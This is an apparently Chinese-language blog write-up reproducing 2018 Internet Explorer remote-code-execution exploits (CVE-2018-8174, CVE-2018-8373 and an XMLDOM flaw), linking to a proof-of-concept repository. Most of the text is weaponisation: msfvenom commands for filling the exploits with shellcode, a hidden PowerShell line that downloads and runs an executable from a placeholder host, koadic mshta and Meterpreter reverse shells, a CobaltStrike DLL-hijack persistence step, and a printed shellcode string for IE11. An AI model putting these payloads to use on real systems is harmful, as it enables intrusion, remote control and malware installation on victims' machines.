对 2018 年几个IE漏洞的复现与说明,之前复现的时候在仓库的文档中简单的说明了一下,以下是这几个漏洞的复现报告与一些基本的利用方法,这些漏洞或多或少都出现在 APT 攻击中,特别是 CVE-2018-8174
又称"双杀"漏洞而 8373 又被 Darkhotel 组织利用
以上对这三个漏洞进行复现, Poc 下载地址:
https://github.com/B1eed/VulRec
首先CVE-8174-8174
的原 PoC 中定义了一个Getshellcode
函数,此函数为漏洞利用的核心函数,其功能使用JS Unescape
函数对escape
函数编码的字符串进行解码。
其中解码的内容为 Shellcode
利用方法为 Msf 生成 shellcode 填充或使用自己的 shellcode 填充
Msf 命令如下:
msfvenom -p windows/exec cmd=calc.exe -f js_le exitfunc=thread -a x86
生成弹出计算器的 shellcode 然后填充到 Getshellcode 函数中
填充完后使用IE打开,成功弹出计算器。
则可使用以下几种方式
1、koadic 远控 mshta 功能反弹 shell
msfvenom -p windows/exec cmd="mshta koadic生成的地址" -f js_le exitfunc=thread
x64 位的:
msfvenom -p windows/x64/exec cmd="mshta koadic生成的地址" -f js_le exitfunc=thread
2、Powershell 下载执行
msfvenom -p windows/exec cmd="powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://xxx.xx.com/1.exe','C:\Windows\Tasks\23.exe');start-process " -f js_le exitfunc=thread
3、使用MSF web_delivery 模块反弹(本质还是 Powershell)
4、当然还可以生成 Meterperter 的 shellcode 填充
建议使用 stage payload,stage 可以理解为将原来的全部攻击代码进行拆分,stage 先进行第一阶段的利用进行目标后再把剩余的 shellcode 加载过来, stage 的 payload 相对于原来较小
5、自己提取 shellcode 然后进行填充测试
填充自己的下载执行 sc 成功下载执行木马
可以使用msdtc
的 Dll 劫持漏洞,用CobaltStrike
生成恶意 Dll,然后下载到C:\windows\system32
目录下 DLL 名称为oci.dll
,使用msdtc
服务来加载.
双杀的利用方法
使用 CVE-2017-0199 的 OLE autolink 漏洞利用方式嵌入恶意网页
这两个漏洞结合即为双杀
CVE-2018-8373
此漏洞与8174
虽然是兄弟漏洞但Poc Getshellcode
函数处要进行稍微的修改,否则无法进行利用
要保留原 Poc Getshellcode
函数中如下字符串
此说明在仓库中有提示,刚开始复现以为触发点一样于是直接覆盖填充导致复现失败
于是通过对比发现要保留如下字符串且将生成的 shellcode 填充在前面
%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc
后面的方式与 8174 相同,仓库中放置了两个 Poc 一个是 IE9 命令执行的,无需做过多修改只需修改要执行的命令即可
成功弹出计算器
IE11 弹计算器,用MSF生成的以下
Shellcode+
%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc
%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%u1de0%u0a2a%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u4100%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc
利用方法与8174
一致参考即可, 复现中使用从微软官方下载的 IE11 也存在漏洞
此漏洞为 Microsoft.XMLDOM 引起的漏洞可导致远程代码执行
vbs 文件与 html 文件皆可触发,即可以用IE浏览器触发,且漏洞影响范围较广
Win7-Windows 10 Version 1803 都受影响,利用方式较为简单
修改 Poc 中xml.xml
中调用WScript.Shell
执行命令的位置即可
访问成功弹出计算器
既然可以执行命令,则可以调用 Powershell 远程下载文件等操作,具体参考上文, 目前测试安全软件8174
查杀较为厉害而8373
被 19 款杀毒软件查杀
我是 1x2Bytes, 一个信安爱好者,对 APT 技术感兴趣, 欢迎加入信安之路红蓝对抗小组,一起研究技术,共同成长。